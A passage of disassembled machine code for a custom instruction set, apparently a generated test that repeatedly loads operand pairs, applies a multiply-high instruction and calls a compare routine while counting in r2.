1578: 0d 44 71 34 wl16 r9,0x2394
157c: 0d 60 01 23 wh16 r9,0x3
1580: 10 40 01 29 ld32 r9,r9
1584: 00 60 01 10 mulh r8,r16
1588: 20 70 03 e2 movepc rret,8
158c: 14 30 fa a1 br 10 <compare>,#al
1590: 00 10 00 41 add r2,1
1594: 0d 40 35 00 wl16 r8,0x1a0
1598: 0d 60 01 03 wh16 r8,0x3
159c: 10 40 01 08 ld32 r8,r8
15a0: 0d 42 52 1c wl16 r16,0x129c
15a4: 0d 60 02 03 wh16 r16,0x3
15a8: 10 40 02 10 ld32 r16,r16
15ac: 0d 44 71 38 wl16 r9,0x2398
15b0: 0d 60 01 23 wh16 r9,0x3
15b4: 10 40 01 29 ld32 r9,r9
15b8: 00 60 01 10 mulh r8,r16
15bc: 20 70 03 e2 movepc rret,8
15c0: 14 30 fa 94 br 10 <compare>,#al
15c4: 00 10 00 41 add r2,1
15c8: 0d 40 35 04 wl16 r8,0x1a4
15cc: 0d 60 01 03 wh16 r8,0x3
15d0: 10 40 01 08 ld32 r8,r8
15d4: 0d 42 56 00 wl16 r16,0x12a0
15d8: 0d 60 02 03 wh16 r16,0x3
15dc: 10 40 02 10 ld32 r16,r16
15e0: 0d 44 71 3c wl16 r9,0x239c
15e4: 0d 60 01 23 wh16 r9,0x3
15e8: 10 40 01 29 ld32 r9,r9
15ec: 00 60 01 10 mulh r8,r16
15f0: 20 70 03 e2 movepc rret,8
15f4: 14 30 fa 87 br 10 <compare>,#al
15f8: 00 10 00 41 add r2,1
15fc: 0d 40 35 08 wl16 r8,0x1a8
1600: 0d 60 01 03 wh16 r8,0x3
1604: 10 40 01 08 ld32 r8,r8
1608: 0d 42 56 04 wl16 r16,0x12a4
160c: 0d 60 02 03 wh16 r16,0x3
1610: 10 40 02 10 ld32 r16,r16
1614: 0d 44 75 20 wl16 r9,0x23a0
1618: 0d 60 01 23 wh16 r9,0x3
161c: 10 40 01 29 ld32 r9,r9
1620: 00 60 01 10 mulh r8,r16
1624: 20 70 03 e2 movepc rret,8
1628: 14 30 fa 7a br 10 <compare>,#al
162c: 00 10 00 41 add r2,1
1630: 0d 40 35 0c wl16 r8,0x1ac
1634: 0d 60 01 03 wh16 r8,0x3
1638: 10 40 01 08 ld32 r8,r8
163c: 0d 42 56 08 wl16 r16,0x12a8
1640: 0d 60 02 03 wh16 r16,0x3
1644: 10 40 02 10 ld32 r16,r16
1648: 0d 44 75 24 wl16 r9,0x23a4
164c: 0d 60 01 23 wh16 r9,0x3
1650: 10 40 01 29 ld32 r9,r9
1654: 00 60 01 10 mulh r8,r16
1658: 20 70 03 e2 movepc rret,8
165c: 14 30 fa 6d br 10 <compare>,#al
1660: 00 10 00 41 add r2,1
1664: 0d 40 35 10 wl16 r8,0x1b0
1668: 0d 60 01 03 wh16 r8,0x3
166c: 10 40 01 08 ld32 r8,r8
1670: 0d 42 56 0c wl16 r16,0x12ac
1674: 0d 60 02 03 wh16 r16,0x3
1678: 10 40 02 10 ld32 r16,r16
167c: 0d 44 75 28 wl16 r9,0x23a8
1680: 0d 60 01 23 wh16 r9,0x3
1684: 10 40 01 29 ld32 r9,r9
1688: 00 60 01 10 mulh r8,r16
168c: 20 70 03 e2 movepc rret,8
1690: 14 30 fa 60 br 10 <compare>,#al
1694: 00 10 00 41 add r2,1
1698: 0d 40 35 14 wl16 r8,0x1b4
169c: 0d 60 01 03 wh16 r8,0x3
16a0: 10 40 01 08 ld32 r8,r8
16a4: 0d 42 56 10 wl16 r16,0x12b0
16a8: 0d 60 02 03 wh16 r16,0x3
16ac: 10 40 02 10 ld32 r16,r16
16b0: 0d 44 75 2c wl16 r9,0x23ac
16b4: 0d 60 01 23 wh16 r9,0x3
16b8: 10 40 01 29 ld32 r9,r9
16bc: 00 60 01 10 mulh r8,r16
16c0: 20 70 03 e2 movepc rret,8
16c4: 14 30 fa 53 br 10 <compare>,#al
16c8: 00 10 00 41 add r2,1
16cc: 0d 40 35 18 wl16 r8,0x1b8
16d0: 0d 60 01 03 wh16 r8,0x3
16d4: 10 40 01 08 ld32 r8,r8
16d8: 0d 42 56 14 wl16 r16,0x12b4
16dc: 0d 60 02 03 wh16 r16,0x3
16e0: 10 40 02 10 ld32 r16,r16
16e4: 0d 44 75 30 wl16 r9,0x23b0
16e8: 0d 60 01 23 wh16 r9,0x3
16ec: 10 40 01 29 ld32 r9,r9
16f0: 00 60 01 10 mulh r8,r16
16f4: 20 70 03 e2 movepc rret,8
16f8: 14 30 fa 46 br 10 <compare>,#al
16fc: 00 10 00 41 add r2,1
1700: 0d 40 35 1c wl16 r8,0x1bc
1704: 0d 60 01 03 wh16 r8,0x3
1708: 10 40 01 08 ld32 r8,r8
170c: 0d 42 56 18 wl16 r16,0x12b8
1710: 0d 60 02 03 wh16 r16,0x3
1714: 10 40 02 10 ld32 r16,r16
1718: 0d 44 75 34 wl16 r9,0x23b4
171c: 0d 60 01 23 wh16 r9,0x3
1720: 10 40 01 29 ld32 r9,r9
1724: 00 60 01 10 mulh r8,r16
1728: 20 70 03 e2 movepc rret,8
172c: 14 30 fa 39 br 10 <compare>,#al
1730: 00 10 00 41 add r2,1
1734: 0d 40 39 00 wl16 r8,0x1c0
1738: 0d 60 01 03 wh16 r8,0x3
173c: 10 40 01 08 ld32 r8,r8
1740: 0d 42 56 1c wl16 r16,0x12bc
1744: 0d 60 02 03 wh16 r16,0x3
1748: 10 40 02 10 ld32 r16,r16
174c: 0d 44 75 38 wl16 r9,0x23b8
1750: 0d 60 01 23 wh16 r9,0x3
1754: 10 40 01 29 ld32 r9,r9
1758: 00 60 01 10 mulh r8,r16
175c: 20 70 03 e2 movepc rret,8
1760: 14 30 fa 2c br 10 <compare>,#al
1764: 00 10 00 41 add r2,1
1768: 0d 40 39 04 wl16 r8,0x1c4
176c: 0d 60 01 03 wh16 r8,0x3
1770: 10 40 01 08 ld32 r8,r8
1774: 0d 42 5a 00 wl16 r16,0x12c0
1778: 0d 60 02 03 wh16 r16,0x3
177c: 10 40 02 10 ld32 r16,r16
1780: 0d 44 75 3c wl16 r9,0x23bc
1784: 0d 60 01 23 wh16 r9,0x3
1788: 10 40 01 29 ld32 r9,r9
178c: 00 60 01 10 mulh r8,r16
1790: 20 70 03 e2 movepc rret,8
1794: 14 30 fa 1f br 10 <compare>,#al
1798: 00 10 00 41 add r2,1
179c: 0d 40 39 08 wl16 r8,0x1c8
17a0: 0d 60 01 03 wh16 r8,0x3
17a4: 10 40 01 08 ld32 r8,r8
17a8: 0d 42 5a 04 wl16 r16,0x12c4
17ac: 0d 60 02 03 wh16 r16,0x3
17b0: 10 40 02 10 ld32 r16,r16
17b4: 0d 44 79 20 wl16 r9,0x23c0
17b8: 0d 60 01 23 wh16 r9,0x3
17bc: 10 40 01 29 ld32 r9,r9
17c0: 00 60 01 10 mulh r8,r16
17c4: 20 70 03 e2 movepc rret,8
17c8: 14 30 fa 12 br 10 <compare>,#al
17cc: 00 10 00 41 add r2,1
17d0: 0d 40 39 0c wl16 r8,0x1cc
17d4: 0d 60 01 03 wh16 r8,0x3
17d8: 10 40 01 08 ld32 r8,r8
17dc: 0d 42 5a 08 wl16 r16,0x12c8
17e0: 0d 60 02 03 wh16 r16,0x3
17e4: 10 40 02 10 ld32 r16,r16
17e8: 0d 44 79 24 wl16 r9,0x23c4
17ec: 0d 60 01 23 wh16 r9,0x3
17f0: 10 40 01 29 ld32 r9,r9
17f4: 00 60 01 10 mulh r8,r16
17f8: 20 70 03 e2 movepc rret,8
17fc: 14 30 fa 05 br 10 <compare>,#al
1800: 00 10 00 41 add r2,1
1804: 0d 40 39 10 wl16 r8,0x1d0
1808: 0d 60 01 03 wh16 r8,0x3
180c: 10 40 01 08 ld32 r8,r8
1810: 0d 42 5a 0c wl16 r16,0x12cc
1814: 0d 60 02 03 wh16 r16,0x3
1818: 10 40 02 10 ld32 r16,r16
181c: 0d 44 79 28 wl16 r9,0x23c8
1820: 0d 60 01 23 wh16 r9,0x3
1824: 10 40 01 29 ld32 r9,r9
1828: 00 60 01 10 mulh r8,r16
182c: 20 70 03 e2 movepc rret,8
1830: 14 30 f9 f8 br 10 <compare>,#al
1834: 00 10 00 41 add r2,1
1838: 0d 40 39 14 wl16 r8,0x1d4
183c: 0d 60 01 03 wh16 r8,0x3
1840: 10 40 01 08 ld32 r8,r8
1844: 0d 42 5a 10 wl16 r16,0x12d0
1848: 0d 60 02 03 wh16 r16,0x3
184c: 10 40 02 10 ld32 r16,r16
1850: 0d 44 79 2c wl16 r9,0x23cc
1854: 0d 60 01 23 wh16 r9,0x3
1858: 10 40 01 29 ld32 r9,r9
185c: 00 60 01 10 mulh r8,r16
1860: 20 70 03 e2 movepc rret,8
1864: 14 30 f9 eb br 10 <compare>,#al
1868: 00 10 00 41 add r2,1
186c: 0d 40 39 18 wl16 r8,0x1d8
1870: 0d 60 01 03 wh16 r8,0x3
1874: 10 40 01 08 ld32 r8,r8
1878: 0d 42 5a 14 wl16 r16,0x12d4
187c: 0d 60 02 03 wh16 r16,0x3
1880: 10 40 02 10 ld32 r16,r16
1884: 0d 44 79 30 wl16 r9,0x23d0
1888: 0d 60 01 23 wh16 r9,0x3
188c: 10 40 01 29 ld32 r9,r9
1890: 00 60 01 10 mulh r8,r16
1894: 20 70 03 e2 movepc rret,8
1898: 14 30 f9 de br 10 <compare>,#al
189c: 00 10 00 41 add r2,1
18a0: 0d 40 39 1c wl16 r8,0x1dc
18a4: 0d 60 01 03 wh16 r8,0x3
18a8: 10 40 01 08 ld32 r8,r8
18ac: 0d 42 5a 18 wl16 r16,0x12d8
18b0: 0d 60 02 03 wh16 r16,0x3
18b4: 10 40 02 10 ld32 r16,r16
18b8: 0d 44 79 34 wl16 r9,0x23d4
18bc: 0d 60 01 23 wh16 r9,0x3
18c0: 10 40 01 29 ld32 r9,r9
18c4: 00 60 01 10 mulh r8,r16
18c8: 20 70 03 e2 movepc rret,8
18cc: 14 30 f9 d1 br 10 <compare>,#al
18d0: 00 10 00 41 add r2,1
18d4: 0d 40 3d 00 wl16 r8,0x1e0
18d8: 0d 60 01 03 wh16 r8,0x3
18dc: 10 40 01 08 ld32 r8,r8
18e0: 0d 42 5a 1c wl16 r16,0x12dc
18e4: 0d 60 02 03 wh16 r16,0x3
18e8: 10 40 02 10 ld32 r16,r16
18ec: 0d 44 79 38 wl16 r9,0x23d8
18f0: 0d 60 01 23 wh16 r9,0x3
18f4: 10 40 01 29 ld32 r9,r9
18f8: 00 60 01 10 mulh r8,r16
18fc: 20 70 03 e2 movepc rret,8
1900: 14 30 f9 c4 br 10 <compare>,#al
1904: 00 10 00 41 add r2,1
1908: 0d 40 3d 04 wl16 r8,0x1e4
190c: 0d 60 01 03 wh16 r8,0x3
1910: 10 40 01 08 ld32 r8,r8
1914: 0d 42 5e 00 wl16 r16,0x12e0
1918: 0d 60 02 03 wh16 r16,0x3
191c: 10 40 02 10 ld32 r16,r16
1920: 0d 44 79 3c wl16 r9,0x23dc
1924: 0d 60 01 23 wh16 r9,0x3
1928: 10 40 01 29 ld32 r9,r9
192c: 00 60 01 10 mulh r8,r16
1930: 20 70 03 e2 movepc rret,8
1934: 14 30 f9 b7 br 10 <compare>,#al
1938: 00 10 00 41 add r2,1
193c: 0d 40 3d 08 wl16 r8,0x1e8
1940: 0d 60 01 03 wh16 r8,0x3
1944: 10 40 01 08 ld32 r8,r8
1948: 0d 42 5e 04 wl16 r16,0x12e4
194c: 0d 60 02 03 wh16 r16,0x3
1950: 10 40 02 10 ld32 r16,r16
1954: 0d 44 7d 20 wl16 r9,0x23e0
1958: 0d 60 01 23 wh16 r9,0x3
195c: 10 40 01 29 ld32 r9,r9
1960: 00 60 01 10 mulh r8,r16
1964: 20 70 03 e2 movepc rret,8
1968: 14 30 f9 aa br 10 <compare>,#al
196c: 00 10 00 41 add r2,1
1970: 0d 40 3d 0c wl16 r8,0x1ec
1974: 0d 60 01 03 wh16 r8,0x3
1978: 10 40 01 08 ld32 r8,r8
197c: 0d 42 5e 08 wl16 r16,0x12e8
1980: 0d 60 02 03 wh16 r16,0x3
1984: 10 40 02 10 ld32 r16,r16
1988: 0d 44 7d 24 wl16 r9,0x23e4
198c: 0d 60 01 23 wh16 r9,0x3
1990: 10 40 01 29 ld32 r9,r9
1994: 00 60 01 10 mulh r8,r16
1998: 20 70 03 e2 movepc rret,8
199c: 14 30 f9 9d br 10 <compare>,#al
19a0: 00 10 00 41 add r2,1
19a4: 0d 40 3d 10 wl16 r8,0x1f0
19a8: 0d 60 01 03 wh16 r8,0x3
19ac: 10 40 01 08 ld32 r8,r8
19b0: 0d 42 5e 0c wl16 r16,0x12ec
19b4: 0d 60 02 03 wh16 r16,0x3
19b8: 10 40 02 10 ld32 r16,r16
19bc: 0d 44 7d 28 wl16 r9,0x23e8
19c0: 0d 60 01 23 wh16 r9,0x3
19c4: 10 40 01 29 ld32 r9,r9
19c8: 00 60 01 10 mulh r8,r16
19cc: 20 70 03 e2 movepc rret,8
19d0: 14 30 f9 90 br 10 <compare>,#al
19d4: 00 10 00 41 add r2,1
19d8: 0d 40 3d 14 wl16 r8,0x1f4
19dc: 0d 60 01 03 wh16 r8,0x3
19e0: 10 40 01 08 ld32 r8,r8
19e4: 0d 42 5e 10 wl16 r16,0x12f0
19e8: 0d 60 02 03 wh16 r16,0x3
19ec: 10 40 02 10 ld32 r16,r16
19f0: 0d 44 7d 2c wl16 r9,0x23ec
19f4: 0d 60 01 23 wh16 r9,0x3
19f8: 10 40 01 29 ld32 r9,r9
19fc: 00 60 01 10 mulh r8,r16
1a00: 20 70 03 e2 movepc rret,8
1a04: 14 30 f9 83 br 10 <compare>,#al
1a08: 00 10 00 41 add r2,1
1a0c: 0d 40 3d 18 wl16 r8,0x1f8
1a10: 0d 60 01 03 wh16 r8,0x3
1a14: 10 40 01 08 ld32 r8,r8
1a18: 0d 42 5e 14 wl16 r16,0x12f4
1a1c: 0d 60 02 03 wh16 r16,0x3
1a20: 10 40 02 10 ld32 r16,r16
1a24: 0d 44 7d 30 wl16 r9,0x23f0
1a28: 0d 60 01 23 wh16 r9,0x3
1a2c: 10 40 01 29 ld32 r9,r9
1a30: 00 60 01 10 mulh r8,r16
1a34: 20 70 03 e2 movepc rret,8
1a38: 14 30 f9 76 br 10 <compare>,#al
1a3c: 00 10 00 41 add r2,1
1a40: 0d 40 3d 1c wl16 r8,0x1fc
1a44: 0d 60 01 03 wh16 r8,0x3
1a48: 10 40 01 08 ld32 r8,r8
1a4c: 0d 42 5e 18 wl16 r16,0x12f8
1a50: 0d 60 02 03 wh16 r16,0x3
1a54: 10 40 02 10 ld32 r16,r16
1a58: 0d 44 7d 34 wl16 r9,0x23f4
1a5c: 0d 60 01 23 wh16 r9,0x3
1a60: 10 40 01 29 ld32 r9,r9
1a64: 00 60 01 10 mulh r8,r16
1a68: 20 70 03 e2 movepc rret,8
1a6c: 14 30 f9 69 br 10 <compare>,#al
1a70: 00 10 00 41 add r2,1
1a74: 0d 40 41 00 wl16 r8,0x200
1a78: 0d 60 01 03 wh16 r8,0x3
1a7c: 10 40 01 08 ld32 r8,r8
1a80: 0d 42 5e 1c wl16 r16,0x12fc
1a84: 0d 60 02 03 wh16 r16,0x3
1a88: 10 40 02 10 ld32 r16,r16
1a8c: 0d 44 7d 38 wl16 r9,0x23f8
1a90: 0d 60 01 23 wh16 r9,0x3
1a94: 10 40 01 29 ld32 r9,r9
1a98: 00 60 01 10 mulh r8,r16
1a9c: 20 70 03 e2 movepc rret,8
1aa0: 14 30 f9 5c br 10 <compare>,#al
1aa4: 00 10 00 41 add r2,1
1aa8: 0d 40 41 04 wl16 r8,0x204
1aac: 0d 60 01 03 wh16 r8,0x3
1ab0: 10 40 01 08 ld32 r8,r8
1ab4: 0d 42 62 00 wl16 r16,0x1300
1ab8: 0d 60 02 03 wh16 r16,0x3
1abc: 10 40 02 10 ld32 r16,r16
1ac0: 0d 44 7d 3c wl16 r9,0x23fc
1ac4: 0d 60 01 23 wh16 r9,0x3
1ac8: 10 40 01 29 ld32 r9,r9
1acc: 00 60 01 10 mulh r8,r16
1ad0: 20 70 03 e2 movepc rret,8
1ad4: 14 30 f9 4f br 10 <compare>,#al
1ad8: 00 10 00 41 add r2,1
1adc: 0d 40 41 08 wl16 r8,0x208
1ae0: 0d 60 01 03 wh16 r8,0x3
1ae4: 10 40 01 08 ld32 r8,r8
1ae8: 0d 42 62 04 wl16 r16,0x1304
1aec: 0d 60 02 03 wh16 r16,0x3
1af0: 10 40 02 10 ld32 r16,r16
1af4: 0d 44 81 20 wl16 r9,0x2400
1af8: 0d 60 01 23 wh16 r9,0x3
1afc: 10 40 01 29 ld32 r9,r9
1b00: 00 60 01 10 mulh r8,r16
1b04: 20 70 03 e2 movepc rret,8
1b08: 14 30 f9 42 br 10 <compare>,#al
1b0c: 00 10 00 41 add r2,1
1b10: 0d 40 41 0c wl16 r8,0x20c
1b14: 0d 60 01 03 wh16 r8,0x3
1b18: 10 40 01 08 ld32 r8,r8
1b1c: 0d 42 62 08 wl16 r16,0x1308
1b20: 0d 60 02 03 wh16 r16,0x3
1b24: 10 40 02 10 ld32 r16,r16
1b28: 0d 44 81 24 wl16 r9,0x2404
1b2c: 0d 60 01 23 wh16 r9,0x3
1b30: 10 40 01 29 ld32 r9,r9
1b34: 00 60 01 10 mulh r8,r16
1b38: 20 70 03 e2 movepc rret,8
1b3c: 14 30 f9 35 br 10 <compare>,#al
1b40: 00 10 00 41 add r2,1
1b44: 0d 40 41 10 wl16 r8,0x210
1b48: 0d 60 01 03 wh16 r8,0x3
1b4c: 10 40 01 08 ld32 r8,r8
1b50: 0d 42 62 0c wl16 r16,0x130c
1b54: 0d 60 02 03 wh16 r16,0x3
1b58: 10 40 02 10 ld32 r16,r16
1b5c: 0d 44 81 28 wl16 r9,0x2408
1b60: 0d 60 01 23 wh16 r9,0x3
1b64: 10 40 01 29 ld32 r9,r9
1b68: 00 60 01 10 mulh r8,r16
1b6c: 20 70 03 e2 movepc rret,8
1b70: 14 30 f9 28 br 10 <compare>,#al
1b74: 00 10 00 41 add r2,1
1b78: 0d 40 41 14 wl16 r8,0x214
1b7c: 0d 60 01 03 wh16 r8,0x3
1b80: 10 40 01 08 ld32 r8,r8
1b84: 0d 42 62 10 wl16 r16,0x1310
1b88: 0d 60 02 03 wh16 r16,0x3
1b8c: 10 40 02 10 ld32 r16,r16
1b90: 0d 44 81 2c wl16 r9,0x240c
1b94: 0d 60 01 23 wh16 r9,0x3
1b98: 10 40 01 29 ld32 r9,r9
1b9c: 00 60 01 10 mulh r8,r16
1ba0: 20 70 03 e2 movepc rret,8
1ba4: 14 30 f9 1b br 10 <compare>,#al
1ba8: 00 10 00 41 add r2,1
1bac: 0d 40 41 18 wl16 r8,0x218
1bb0: 0d 60 01 03 wh16 r8,0x3
1bb4: 10 40 01 08 ld32 r8,r8
1bb8: 0d 42 62 14 wl16 r16,0x1314
1bbc: 0d 60 02 03 wh16 r16,0x3
1bc0: 10 40 02 10 ld32 r16,r16
1bc4: 0d 44 81 30 wl16 r9,0x2410
1bc8: 0d 60 01 23 wh16 r9,0x3
1bcc: 10 40 01 29 ld32 r9,r9
1bd0: 00 60 01 10 mulh r8,r16
1bd4: 20 70 03 e2 movepc rret,8
1bd8: 14 30 f9 0e br 10 <compare>,#al
1bdc: 00 10 00 41 add r2,1
1be0: 0d 40 41 1c wl16 r8,0x21c
1be4: 0d 60 01 03 wh16 r8,0x3
1be8: 10 40 01 08 ld32 r8,r8
1bec: 0d 42 62 18 wl16 r16,0x1318
1bf0: 0d 60 02 03 wh16 r16,0x3
1bf4: 10 40 02 10 ld32 r16,r16
1bf8: 0d 44 81 34 wl16 r9,0x2414
1bfc: 0d 60 01 23 wh16 r9,0x3
1c00: 10 40 01 29 ld32 r9,r9
1c04: 00 60 01 10 mulh r8,r16
1c08: 20 70 03 e2 movepc rret,8
1c0c: 14 30 f9 01 br 10 <compare>,#al
1c10: 00 10 00 41 add r2,1
1c14: 0d 40 45 00 wl16 r8,0x220
1c18: 0d 60 01 03 wh16 r8,0x3
1c1c: 10 40 01 08 ld32 r8,r8
1c20: 0d 42 62 1c wl16 r16,0x131c
1c24: 0d 60 02 03 wh16 r16,0x3
1c28: 10 40 02 10 ld32 r16,r16
1c2c: 0d 44 81 38 wl16 r9,0x2418
1c30: 0d 60 01 23 wh16 r9,0x3
1c34: 10 40 01 29 ld32 r9,r9
1c38: 00 60 01 10 mulh r8,r16
1c3c: 20 70 03 e2 movepc rret,8
1c40: 14 30 f8 f4 br 10 <compare>,#al
1c44: 00 10 00 41 add r2,1
1c48: 0d 40 45 04 wl16 r8,0x224
1c4c: 0d 60 01 03 wh16 r8,0x3
1c50: 10 40 01 08 ld32 r8,r8
1c54: 0d 42 66 00 wl16 r16,0x1320
1c58: 0d 60 02 03 wh16 r16,0x3
1c5c: 10 40 02 10 ld32 r16,r16
1c60: 0d 44 81 3c wl16 r9,0x241c
1c64: 0d 60 01 23 wh16 r9,0x3
1c68: 10 40 01 29 ld32 r9,r9
1c6c: 00 60 01 10 mulh r8,r16
1c70: 20 70 03 e2 movepc rret,8
1c74: 14 30 f8 e7 br 10 <compare>,#al
1c78: 00 10 00 41 add r2,1
1c7c: 0d 40 45 08 wl16 r8,0x228
1c80: 0d 60 01 03 wh16 r8,0x3
1c84: 10 40 01 08 ld32 r8,r8
1c88: 0d 42 66 04 wl16 r16,0x1324
1c8c: 0d 60 02 03 wh16 r16,0x3
1c90: 10 40 02 10 ld32 r16,r16
1c94: 0d 44 85 20 wl16 r9,0x2420
1c98: 0d 60 01 23 wh16 r9,0x3
1c9c: 10 40 01 29 ld32 r9,r9
1ca0: 00 60 01 10 mulh r8,r16
1ca4: 20 70 03 e2 movepc rret,8
1ca8: 14 30 f8 da br 10 <compare>,#al
1cac: 00 10 00 41 add r2,1
1cb0: 0d 40 45 0c wl16 r8,0x22c
1cb4: 0d 60 01 03 wh16 r8,0x3
1cb8: 10 40 01 08 ld32 r8,r8
1cbc: 0d 42 66 08 wl16 r16,0x1328
1cc0: 0d 60 02 03 wh16 r16,0x3
1cc4: 10 40 02 10 ld32 r16,r16
1cc8: 0d 44 85 24 wl16 r9,0x2424
1ccc: 0d 60 01 23 wh16 r9,0x3
1cd0: 10 40 01 29 ld32 r9,r9
1cd4: 00 60 01 10 mulh r8,r16
1cd8: 20 70 03 e2 movepc rret,8
1cdc: 14 30 f8 cd br 10 <compare>,#al
1ce0: 00 10 00 41 add r2,1
1ce4: 0d 40 45 10 wl16 r8,0x230
1ce8: 0d 60 01 03 wh16 r8,0x3
1cec: 10 40 01 08 ld32 r8,r8
1cf0: 0d 42 66 0c wl16 r16,0x132c
1cf4: 0d 60 02 03 wh16 r16,0x3
1cf8: 10 40 02 10 ld32 r16,r16
1cfc: 0d 44 85 28 wl16 r9,0x2428
1d00: 0d 60 01 23 wh16 r9,0x3
1d04: 10 40 01 29 ld32 r9,r9
1d08: 00 60 01 10 mulh r8,r16
1d0c: 20 70 03 e2 movepc rret,8
1d10: 14 30 f8 c0 br 10 <compare>,#al
1d14: 00 10 00 41 add r2,1
1d18: 0d 40 45 14 wl16 r8,0x234
1d1c: 0d 60 01 03 wh16 r8,0x3
1d20: 10 40 01 08 ld32 r8,r8
1d24: 0d 42 66 10 wl16 r16,0x1330
1d28: 0d 60 02 03 wh16 r16,0x3
1d2c: 10 40 02 10 ld32 r16,r16
1d30: 0d 44 85 2c wl16 r9,0x242c
1d34: 0d 60 01 23 wh16 r9,0x3
1d38: 10 40 01 29 ld32 r9,r9
1d3c: 00 60 01 10 mulh r8,r16
1d40: 20 70 03 e2 movepc rret,8
1d44: 14 30 f8 b3 br 10 <compare>,#al
1d48: 00 10 00 41 add r2,1
1d4c: 0d 40 45 18 wl16 r8,0x238
1d50: 0d 60 01 03 wh16 r8,0x3
1d54: 10 40 01 08 ld32 r8,r8
1d58: 0d 42 66 14 wl16 r16,0x1334
1d5c: 0d 60 02 03 wh16 r16,0x3
1d60: 10 40 02 10 ld32 r16,r16
1d64: 0d 44 85 30 wl16 r9,0x2430
1d68: 0d 60 01 23 wh16 r9,0x3
1d6c: 10 40 01 29 ld32 r9,r9
1d70: 00 60 01 10 mulh r8,r16
1d74: 20 70 03 e2 movepc rret,8
1d78: 14 30 f8 a6 br 10 <compare>,#al
1d7c: 00 10 00 41 add r2,1
1d80: 0d 40 45 1c wl16 r8,0x23c
1d84: 0d 60 01 03 wh16 r8,0x3
1d88: 10 40 01 08 ld32 r8,r8
1d8c: 0d 42 66 18 wl16 r16,0x1338
1d90: 0d 60 02 03 wh16 r16,0x3
1d94: 10 40 02 10 ld32 r16,r16
1d98: 0d 44 85 34 wl16 r9,0x2434
1d9c: 0d 60 01 23 wh16 r9,0x3
1da0: 10 40 01 29 ld32 r9,r9
1da4: 00 60 01 10 mulh r8,r16
1da8: 20 70 03 e2 movepc rret,8
1dac: 14 30 f8 99 br 10 <compare>,#al
1db0: 00 10 00 41 add r2,1
1db4: 0d 40 49 00 wl16 r8,0x240
1db8: 0d 60 01 03 wh16 r8,0x3
1dbc: 10 40 01 08 ld32 r8,r8
1dc0: 0d 42 66 1c wl16 r16,0x133c
1dc4: 0d 60 02 03 wh16 r16,0x3
1dc8: 10 40 02 10 ld32 r16,r16
1dcc: 0d 44 85 38 wl16 r9,0x2438
1dd0: 0d 60 01 23 wh16 r9,0x3
1dd4: 10 40 01 29 ld32 r9,r9
1dd8: 00 60 01 10 mulh r8,r16
1ddc: 20 70 03 e2 movepc rret,8
1de0: 14 30 f8 8c br 10 <compare>,#al
1de4: 00 10 00 41 add r2,1
1de8: 0d 40 49 04 wl16 r8,0x244
1dec: 0d 60 01 03 wh16 r8,0x3
1df0: 10 40 01 08 ld32 r8,r8
1df4: 0d 42 6a 00 wl16 r16,0x1340
1df8: 0d 60 02 03 wh16 r16,0x3
1dfc: 10 40 02 10 ld32 r16,r16
1e00: 0d 44 85 3c wl16 r9,0x243c
1e04: 0d 60 01 23 wh16 r9,0x3
1e08: 10 40 01 29 ld32 r9,r9
1e0c: 00 60 01 10 mulh r8,r16
1e10: 20 70 03 e2 movepc rret,8
1e14: 14 30 f8 7f br 10 <compare>,#al
1e18: 00 10 00 41 add r2,1
1e1c: 0d 40 49 08 wl16 r8,0x248
1e20: 0d 60 01 03 wh16 r8,0x3
1e24: 10 40 01 08 ld32 r8,r8
1e28: 0d 42 6a 04 wl16 r16,0x1344
1e2c: 0d 60 02 03 wh16 r16,0x3
1e30: 10 40 02 10 ld32 r16,r16
1e34: 0d 44 89 20 wl16 r9,0x2440
1e38: 0d 60 01 23 wh16 r9,0x3
1e3c: 10 40 01 29 ld32 r9,r9
1e40: 00 60 01 10 mulh r8,r16
1e44: 20 70 03 e2 movepc rret,8
1e48: 14 30 f8 72 br 10 <compare>,#al
1e4c: 00 10 00 41 add r2,1
1e50: 0d 40 49 0c wl16 r8,0x24c
1e54: 0d 60 01 03 wh16 r8,0x3
1e58: 10 40 01 08 ld32 r8,r8
1e5c: 0d 42 6a 08 wl16 r16,0x1348
1e60: 0d 60 02 03 wh16 r16,0x3
1e64: 10 40 02 10 ld32 r16,r16
1e68: 0d 44 89 24 wl16 r9,0x2444
1e6c: 0d 60 01 23 wh16 r9,0x3
1e70: 10 40 01 29 ld32 r9,r9
1e74: 00 60 01 10 mulh r8,r16
1e78: 20 70 03 e2 movepc rret,8
1e7c: 14 30 f8 65 br 10 <compare>,#al
1e80: 00 10 00 41 add r2,1
1e84: 0d 40 49 10 wl16 r8,0x250
1e88: 0d 60 01 03 wh16 r8,0x3
1e8c: 10 40 01 08 ld32 r8,r8
1e90: 0d 42 6a 0c wl16 r16,0x134c
1e94: 0d 60 02 03 wh16 r16,0x3
1e98: 10 40 02 10 ld32 r16,r16
1e9c: 0d 44 89 28 wl16 r9,0x2448
1ea0: 0d 60 01 23 wh16 r9,0x3
1ea4: 10 40 01 29 ld32 r9,r9
1ea8: 00 60 01 10 mulh r8,r16
1eac: 20 70 03 e2 movepc rret,8
1eb0: 14 30 f8 58 br 10 <compare>,#al
1eb4: 00 10 00 41 add r2,1
1eb8: 0d 40 49 14 wl16 r8,0x254
1ebc: 0d 60 01 03 wh16 r8,0x3
1ec0: 10 40 01 08 ld32 r8,r8
1ec4: 0d 42 6a 10 wl16 r16,0x1350
1ec8: 0d 60 02 03 wh16 r16,0x3
1ecc: 10 40 02 10 ld32 r16,r16
1ed0: 0d 44 89 2c wl16 r9,0x244c
1ed4: 0d 60 01 23 wh16 r9,0x3
1ed8: 10 40 01 29 ld32 r9,r9
1edc: 00 60 01 10 mulh r8,r16
1ee0: 20 70 03 e2 movepc rret,8
1ee4: 14 30 f8 4b br 10 <compare>,#al
1ee8: 00 10 00 41 add r2,1
1eec: 0d 40 49 18 wl16 r8,0x258
1ef0: 0d 60 01 03 wh16 r8,0x3
1ef4: 10 40 01 08 ld32 r8,r8
1ef8: 0d 42 6a 14 wl16 r16,0x1354
1efc: 0d 60 02 03 wh16 r16,0x3
1f00: 10 40 02 10 ld32 r16,r16
1f04: 0d 44 89 30 wl16 r9,0x2450
1f08: 0d 60 01 23 wh16 r9,0x3
1f0c: 10 40 01 29 ld32 r9,r9
1f10: 00 60 01 10 mulh r8,r16
1f14: 20 70 03 e2 movepc rret,8
1f18: 14 30 f8 3e br 10 <compare>,#al
1f1c: 00 10 00 41 add r2,1
1f20: 0d 40 49 1c wl16 r8,0x25c
1f24: 0d 60 01 03 wh16 r8,0x3
1f28: 10 40 01 08 ld32 r8,r8
1f2c: 0d 42 6a 18 wl16 r16,0x1358
1f30: 0d 60 02 03 wh16 r16,0x3
1f34: 10 40 02 10 ld32 r16,r16
